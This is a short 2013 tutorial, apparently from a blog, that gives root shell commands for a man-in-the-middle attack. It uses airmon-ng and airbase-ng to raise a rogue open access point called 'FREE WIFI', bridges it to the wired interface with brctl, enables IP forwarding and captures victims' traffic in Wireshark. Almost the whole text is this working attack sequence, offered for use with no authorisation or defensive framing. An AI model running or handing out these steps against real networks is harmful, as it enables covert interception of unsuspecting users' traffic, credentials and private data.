09 June, 2013

Make Man-in-the-middle Attack using Access Point

MITM using Bridged Interfaces and Wireshark



We Need wlan and ethernet interface 

Configure Wlan0 
root@bt:~# airmon-ng start wlan0
root@bt:~# airodump-ng mon0
root@bt:~# airbase-ng --essid FREE WIFI -c 1 mon0
It Creates at0 interface

Configure at0 and eth0 interfaces 
root@bt:~# ifconfig at0
root@bt:~# brctl addbr BR1
root@bt:~# brctl addif BR1 eth0
root@bt:~# brctl addif BR1 at0
root@bt:~# brctl show
root@bt:~# ifconfig eth0 0.0.0.0 up
root@bt:~# ifconfig at0 0.0.0.0 up
root@bt:~# ifconfig BR1 192.168.1.205/24 up
root@bt:~# ping 192.168.1.1
root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward

We have Bridged eth0(Phis) and at0 (logic) Interfaces

It´s done. Open Wireshark and capture Interface eth0 trafic

##########################################################################################################